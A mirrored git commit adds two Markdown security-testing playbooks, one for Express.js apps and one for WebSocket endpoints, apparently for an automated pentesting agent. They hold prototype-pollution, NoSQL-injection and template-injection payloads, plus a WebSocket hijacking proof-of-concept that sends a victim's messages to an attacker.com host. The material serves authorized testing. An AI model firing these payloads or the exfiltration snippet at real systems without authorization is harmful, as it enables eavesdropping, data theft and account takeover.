mirror of
https://github.com/usestrix/strix.git
synced 2026-09-09 22:31:07 +00:00
Add Express.js and WebSocket security skills
Fill framework and protocol gaps explicitly listed in the skills README.
This commit is contained in:
parent
302efedca6
commit
84c27d2189
2 changed files with 393 additions and 0 deletions
206
strix/skills/frameworks/express.md
Normal file
206
strix/skills/frameworks/express.md
Normal file
|
|
@ -0,0 +1,206 @@
|
|||
---
|
||||
name: express
|
||||
description: Security testing playbook for Express.js covering middleware ordering, route auth gaps, prototype pollution, and session/CSRF weaknesses
|
||||
---
|
||||
|
||||
# Express.js
|
||||
|
||||
Security testing for Express and common middleware stacks (body-parser, cors, helmet, express-session, passport). Focus on middleware ordering, missing route-level auth, unsafe deserialization of user input into objects, and inconsistent enforcement across routers.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Core Components**
|
||||
- Middleware stack order: `app.use()` global vs `router.use()` scoped
|
||||
- Routers: `express.Router()` mounted at prefixes (`/api`, `/admin`, `/v1`)
|
||||
- Route handlers: `app.get/post/put/delete`, async handlers, error middleware
|
||||
- Static serving: `express.static`, `sendFile`, custom download handlers
|
||||
|
||||
**Common Middleware**
|
||||
- `body-parser` / `express.json` / `express.urlencoded` / `express.raw`
|
||||
- `cors`, `helmet`, `compression`, `morgan`
|
||||
- `express-session`, `cookie-parser`, `passport`, `express-jwt`
|
||||
- `multer` / `busboy` for uploads
|
||||
- `express-validator`, `celebrate`, `joi` validation (often partial)
|
||||
|
||||
**Data & Templates**
|
||||
- Template engines: EJS, Pug, Handlebars, Nunjucks
|
||||
- MongoDB via Mongoose, SQL via Sequelize/Prisma/Knex
|
||||
- `req.query`, `req.params`, `req.body`, `req.cookies`, `req.headers`
|
||||
|
||||
## High-Value Targets
|
||||
|
||||
- `/api/*` routers mounted without global auth middleware
|
||||
- Admin routers at `/admin`, `/internal`, `/management`
|
||||
- File upload/download routes using `multer`
|
||||
- Webhook/callback endpoints (`/webhook`, `/callback`, `/notify`)
|
||||
- Session-based auth without CSRF on state-changing routes
|
||||
- `process.env` values leaked via error handlers or `/debug` routes
|
||||
- GraphQL or Socket.io mounted as sub-apps with weaker auth
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Route Discovery**
|
||||
```
|
||||
# Common API prefixes
|
||||
/api /api/v1 /api/v2 /v1 /v2 /graphql /socket.io
|
||||
|
||||
# Error-based route hints
|
||||
GET /api/users/999999
|
||||
POST /api/admin with {}
|
||||
```
|
||||
|
||||
**Fingerprinting**
|
||||
```
|
||||
X-Powered-By: Express
|
||||
Set-Cookie: connect.sid=...
|
||||
```
|
||||
|
||||
Inspect `package.json` / `node_modules` in white-box scans for: `passport`, `jsonwebtoken`, `express-session`, `cors`, `lodash`, `serialize`, `ejs`.
|
||||
|
||||
**Middleware Mapping (white-box)**
|
||||
|
||||
Trace `app.use()` order — auth middleware placed after routes it should protect is a common bug. Routers mounted before `express.json()` may parse bodies differently.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Authentication & Authorization
|
||||
|
||||
**Middleware Gaps**
|
||||
- Global auth on `/api` but `/api/internal` router mounted without guard
|
||||
- `router.use(auth)` on collection routes but `GET /:id` missing per-object checks
|
||||
- JWT verified in middleware but `req.user` fields trusted without role re-check on admin routes
|
||||
|
||||
**Passport / JWT**
|
||||
- `passport-jwt` extracts token but strategy doesn't validate `aud`/`iss`
|
||||
- `secretOrKey` from env with weak/default value
|
||||
- API keys in query string logged by proxies
|
||||
|
||||
### Prototype Pollution
|
||||
|
||||
Express apps frequently merge `req.body` / `req.query` into options objects via `lodash.merge`, `Object.assign` loops, or query parsers.
|
||||
|
||||
```json
|
||||
{"__proto__": {"isAdmin": true}}
|
||||
{"constructor": {"prototype": {"role": "admin"}}}
|
||||
```
|
||||
|
||||
See `prototype_pollution` skill for gadget chains and validation. Test every JSON body endpoint and nested query parameters.
|
||||
|
||||
### NoSQL Injection (Mongoose)
|
||||
|
||||
```json
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
{"$where": "this.password.match(/.*/)"}
|
||||
```
|
||||
|
||||
Operator injection via `req.query.filter` passed directly to `Model.find(req.query)`.
|
||||
|
||||
### Server-Side Template Injection
|
||||
|
||||
EJS/Pug/Handlebars with user-controlled template names or unescaped output:
|
||||
```javascript
|
||||
// Vulnerable patterns
|
||||
res.render(userInput)
|
||||
ejs.render(userControlledTemplate)
|
||||
```
|
||||
|
||||
Test `<%= 7*7 %>`, `${7*7}`, `{{7*7}}` depending on engine.
|
||||
|
||||
### CSRF
|
||||
|
||||
Express has no built-in CSRF protection.
|
||||
- `express-session` + cookie auth on POST/PUT/DELETE without `csurf` or double-submit token
|
||||
- `SameSite=None` cookies without proper origin checks
|
||||
- CORS `credentials: true` with reflected origins
|
||||
|
||||
### CORS Misconfiguration
|
||||
|
||||
```javascript
|
||||
// Dangerous patterns
|
||||
cors({ origin: true, credentials: true }) // reflects any origin
|
||||
cors({ origin: '*' }) with credentials
|
||||
```
|
||||
|
||||
Test cross-origin requests with victim cookies to sensitive endpoints.
|
||||
|
||||
### Path Traversal & LFI
|
||||
|
||||
```javascript
|
||||
res.sendFile(req.query.path)
|
||||
res.download('../' + req.params.file)
|
||||
express.static with symlink following
|
||||
```
|
||||
|
||||
### SSRF
|
||||
|
||||
`axios`/`node-fetch`/`request` fetching user-supplied URLs in webhooks, preview, import features. Test loopback, metadata IPs, redirect chains.
|
||||
|
||||
### File Upload (Multer)
|
||||
|
||||
- Extension/MIME checked client-side only
|
||||
- `destination` callback using unsanitized `file.originalname`
|
||||
- Uploaded files served from `/uploads` with `Content-Disposition: inline`
|
||||
|
||||
### Rate Limiting Bypass
|
||||
|
||||
- `express-rate-limit` applied globally but skipped on `/api/login` brute-force paths
|
||||
- `X-Forwarded-For` spoofing when `trust proxy` enabled without network boundary
|
||||
|
||||
### Error & Information Disclosure
|
||||
|
||||
- Stack traces in production (`NODE_ENV` not `production`)
|
||||
- Verbose 404 messages revealing route existence
|
||||
- `express-status-monitor`, `/metrics` exposed without auth
|
||||
|
||||
## Bypass Techniques
|
||||
|
||||
- Content-Type switching: `application/json` vs `application/x-www-form-urlencoded` hitting different parsers
|
||||
- HTTP method override headers where proxies honor `X-HTTP-Method-Override`
|
||||
- Trailing slash and case variants: `/API/users` vs `/api/users`
|
||||
- Parameter pollution: duplicate keys in query and body
|
||||
- Race conditions on session/token issuance (parallel login + privilege change)
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Map routers** — Enumerate mounted paths, versioned APIs, static mounts
|
||||
2. **Auth matrix** — Unauth/user/admin for each route and HTTP method
|
||||
3. **Middleware order** — Confirm auth runs before handlers on every mount point
|
||||
4. **Object ownership** — Swap IDs across two sessions on all CRUD endpoints
|
||||
5. **Prototype pollution probe** — Canary key on all JSON-merge endpoints
|
||||
6. **CSRF** — Cross-origin POST with session cookie on state-changing routes
|
||||
7. **Sub-app parity** — Same auth on Socket.io/GraphQL mounts as REST
|
||||
|
||||
## Validation
|
||||
|
||||
1. Side-by-side requests showing missing auth or IDOR (owner vs non-owner)
|
||||
2. CSRF PoC for session-authenticated state change
|
||||
3. Prototype pollution behavioral proof with unique canary property
|
||||
4. Template/NoSQL/SSRF with deterministic oracle (output, OAST, timing)
|
||||
5. Document exact middleware/router where enforcement failed
|
||||
|
||||
## False Positives
|
||||
|
||||
- `router.use(authenticate)` applied before all child routes consistently
|
||||
- `Object.create(null)` used for options merging throughout codebase
|
||||
- CSRF token validated on all unsafe session-authenticated methods
|
||||
- CORS origin whitelist is explicit array, not reflection
|
||||
- `helmet` + `noSniff` + `Content-Disposition: attachment` on uploads
|
||||
|
||||
## Impact
|
||||
|
||||
- Full account takeover via session/JWT weaknesses or prototype pollution
|
||||
- Data breach via NoSQL injection or IDOR across API routers
|
||||
- RCE via SSTI or deserialization (`node-serialize`, unsafe `eval`)
|
||||
- Admin access via unprotected `/admin` router or role field pollution
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Check every `express.Router()` mount — auth middleware on parent `app` may not cover sibling routers
|
||||
2. `app.use('/api', router)` vs `app.use(router)` — scope mistakes are frequent
|
||||
3. Async error handlers without `express-async-errors` may skip error middleware silently
|
||||
4. Test `app._router.stack` in local dev to dump registered routes (white-box)
|
||||
5. Combine with `prototype_pollution` and `insecure_deserialization` skills for Node chains
|
||||
|
||||
## Summary
|
||||
|
||||
Express security is middleware-order dependent. Auth must wrap every router and transport; user input must never merge unsafely into object prototypes. Test mounted sub-apps and async routes with the same rigor as top-level handlers.
|
||||
187
strix/skills/protocols/websocket.md
Normal file
187
strix/skills/protocols/websocket.md
Normal file
|
|
@ -0,0 +1,187 @@
|
|||
---
|
||||
name: websocket
|
||||
description: WebSocket security testing covering handshake auth gaps, origin validation, subscription IDOR, and message-level authorization failures
|
||||
---
|
||||
|
||||
# WebSocket
|
||||
|
||||
WebSocket endpoints often have weaker authentication and authorization than their HTTP equivalents. Handshake checks may pass once, then per-message enforcement is missing — enabling subscription hijacking, cross-user data leaks, and CSWSH (Cross-Site WebSocket Hijacking).
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Protocols & Libraries**
|
||||
- Raw WebSocket (RFC 6455)
|
||||
- Socket.io (HTTP long-polling fallback, namespaces, rooms)
|
||||
- `ws` (Node), Django Channels, FastAPI/Starlette, NestJS `@WebSocketGateway`
|
||||
- GraphQL subscriptions (`graphql-ws`, `graphql-transport-ws`)
|
||||
|
||||
**Handshake**
|
||||
- Upgrade request: `GET` with `Connection: Upgrade`, `Upgrade: websocket`
|
||||
- `Sec-WebSocket-Key` / `Sec-WebSocket-Version`
|
||||
- `Origin`, `Cookie`, `Authorization` headers at connect time
|
||||
- Subprotocol negotiation: `Sec-WebSocket-Protocol`
|
||||
|
||||
**Message Patterns**
|
||||
- JSON RPC-style: `{action, type, event, channel, room, topic, payload}`
|
||||
- Pub/sub: subscribe/unsubscribe to channels by ID or name
|
||||
- Heartbeat/ping-pong, binary frames, fragmented messages
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Endpoint Discovery**
|
||||
```
|
||||
/ws /websocket /socket /socket.io /sockjs
|
||||
/ws/chat /ws/notifications /realtime /live
|
||||
/engine.io (Socket.io transport)
|
||||
```
|
||||
|
||||
**Browser DevTools**
|
||||
- Network tab → filter WS → inspect frames, sent headers at handshake
|
||||
- Note cookies and `Authorization` sent (or absent) on upgrade
|
||||
|
||||
**Socket.io Fingerprint**
|
||||
```
|
||||
GET /socket.io/?EIO=4&transport=polling
|
||||
```
|
||||
Response reveals version, namespaces, session IDs.
|
||||
|
||||
**Message Enumeration**
|
||||
|
||||
Capture legitimate client traffic; map event names (`join`, `subscribe`, `message`, `admin`, `broadcast`). Fuzz `type`/`action` fields with admin/debug event names from JS bundles.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Authentication Gaps
|
||||
|
||||
**Missing Handshake Auth**
|
||||
- Server accepts connections without `Authorization` or session cookie
|
||||
- Token in query string only (`wss://host/ws?token=`) — leaks via Referer/logs
|
||||
- Auth checked on HTTP site but not on parallel WS endpoint
|
||||
|
||||
**One-Time Auth Only**
|
||||
- Token validated at connect; no per-message re-validation after logout/revocation
|
||||
- Role change on HTTP side not reflected in open WS session
|
||||
|
||||
### Origin Validation (CSWSH)
|
||||
|
||||
Cross-Site WebSocket Hijacking: victim browser opens WS to target with victim's cookies because server doesn't validate `Origin`.
|
||||
|
||||
**Test:**
|
||||
```html
|
||||
<script>
|
||||
ws = new WebSocket("wss://target.com/ws");
|
||||
ws.onmessage = m => fetch("https://attacker.com/?"+btoa(m.data));
|
||||
</script>
|
||||
```
|
||||
|
||||
- Missing or wildcard `Origin` check on handshake
|
||||
- `Origin: null` accepted (sandboxed iframe contexts)
|
||||
- Check `Host` header poisoning on WS upgrade
|
||||
|
||||
### Authorization / IDOR
|
||||
|
||||
**Channel/Room Subscription**
|
||||
```json
|
||||
{"action":"subscribe","channel":"user.123.notifications"}
|
||||
{"event":"join","room":"admin-dashboard"}
|
||||
{"type":"listen","topic":"org/456/billing"}
|
||||
```
|
||||
|
||||
Swap IDs to access other users' channels. Test horizontal (peer user) and vertical (admin) topics.
|
||||
|
||||
**Message-Level IDOR**
|
||||
```json
|
||||
{"action":"send","to":"victim_user_id","body":"phishing"}
|
||||
{"action":"read","conversationId":"foreign_uuid"}
|
||||
```
|
||||
|
||||
Server routes messages by client-supplied destination without server-side ownership check.
|
||||
|
||||
### Injection & Logic Flaws
|
||||
|
||||
**Server-Side**
|
||||
- JSON fields passed to SQL/NoSQL/template engines without sanitization
|
||||
- Command events triggering server actions (`exec`, `eval`, `system`) on user input
|
||||
- Broadcast to all connected clients without intent (message fan-out abuse)
|
||||
|
||||
**Client-Side**
|
||||
- WS messages inserted into DOM without encoding → stored/reflected XSS via chat
|
||||
- `innerHTML` updates from `onmessage` handlers
|
||||
|
||||
### Socket.io Specific
|
||||
|
||||
- Namespace `/admin` reachable without auth while default `/` is public
|
||||
- Room join without membership check: `socket.join(attacker_controlled_room)` then listen
|
||||
- Admin flag in handshake cookie not re-checked on `socket.on('admin_action')`
|
||||
- Polling transport CSRF: POST to `/socket.io/` with session cookie
|
||||
|
||||
### GraphQL Subscriptions
|
||||
|
||||
- Subscription resolver lacks same auth as query resolver
|
||||
- `subscription { userData(userId: "OTHER") }` IDOR via variables
|
||||
- Introspection over WS revealing subscription schema
|
||||
|
||||
### Denial of Service
|
||||
|
||||
- No message size/rate limits → large frame floods
|
||||
- Ping/pong abuse, slow read attacks
|
||||
- Unlimited subscriptions per connection
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
**Handshake Smuggling Context**
|
||||
- WS upgrade through CDN/proxy with different auth than direct origin
|
||||
- ALB/Cloudflare WebSocket settings exposing internal paths
|
||||
|
||||
**Token Replay**
|
||||
- Capture WS `Authorization` header from one client; replay from another IP
|
||||
- Subprotocol token passed in `Sec-WebSocket-Protocol` — often logged
|
||||
|
||||
**Parallel Transport Testing**
|
||||
- Same operation via HTTP API vs WS — compare auth requirements
|
||||
- REST blocked but WS `delete_user` event succeeds
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Capture baseline** — Connect as legitimate user; record handshake headers and message schema
|
||||
2. **Unauthenticated connect** — Omit cookies/tokens; attempt subscribe/send
|
||||
3. **Origin fuzz** — `Origin: https://evil.com`, `null`, missing
|
||||
4. **IDOR matrix** — Swap user/org/channel IDs in subscribe and message events
|
||||
5. **Privilege escalation** — User token on admin channels/events
|
||||
6. **Cross-transport** — Compare HTTP vs WS auth for equivalent operations
|
||||
7. **Post-logout** — Revoke session on HTTP; verify WS still accepts messages
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate cross-user data read or write via WS (subscription IDOR or message routing)
|
||||
2. CSWSH PoC: cross-origin page receives victim WS data using victim cookies
|
||||
3. Show unauthenticated or post-logout access to protected channel/action
|
||||
4. Document event name, payload, and missing server-side check
|
||||
5. Confirm HTTP equivalent correctly blocks the same unauthorized action
|
||||
|
||||
## False Positives
|
||||
|
||||
- Origin checked against explicit allowlist on every handshake
|
||||
- Per-message auth re-validates session/token and object ownership
|
||||
- Channel names are server-assigned opaque tokens, not guessable user IDs
|
||||
- WS requires non-cookie token not sent automatically by browser (mitigates CSWSH)
|
||||
- Connection rejected after HTTP logout via server-side session invalidation broadcast
|
||||
|
||||
## Impact
|
||||
|
||||
- Real-time eavesdropping on notifications, chat, trading, admin dashboards
|
||||
- Cross-user message injection and impersonation
|
||||
- CSWSH session riding for live account manipulation
|
||||
- Privilege escalation to admin channels without HTTP-side authorization
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Always test WS with and without cookies — many apps only protect HTTP
|
||||
2. Map event names from minified JS; look for `emit("`, `.on("`, `subscribe(`
|
||||
3. Socket.io: test each namespace independently — auth is per-namespace
|
||||
4. After IDOR on subscribe, wait for server-pushed events (not just request/response)
|
||||
5. Pair with `idor`, `csrf`, and framework skills (nestjs, fastapi, django channels)
|
||||
|
||||
## Summary
|
||||
|
||||
WebSocket security requires handshake auth, strict Origin validation, and per-message authorization — not just connect-time checks. Treat every subscribe/send event like an HTTP endpoint with its own authz test.
|
||||
Loading…
Add table
Reference in a new issue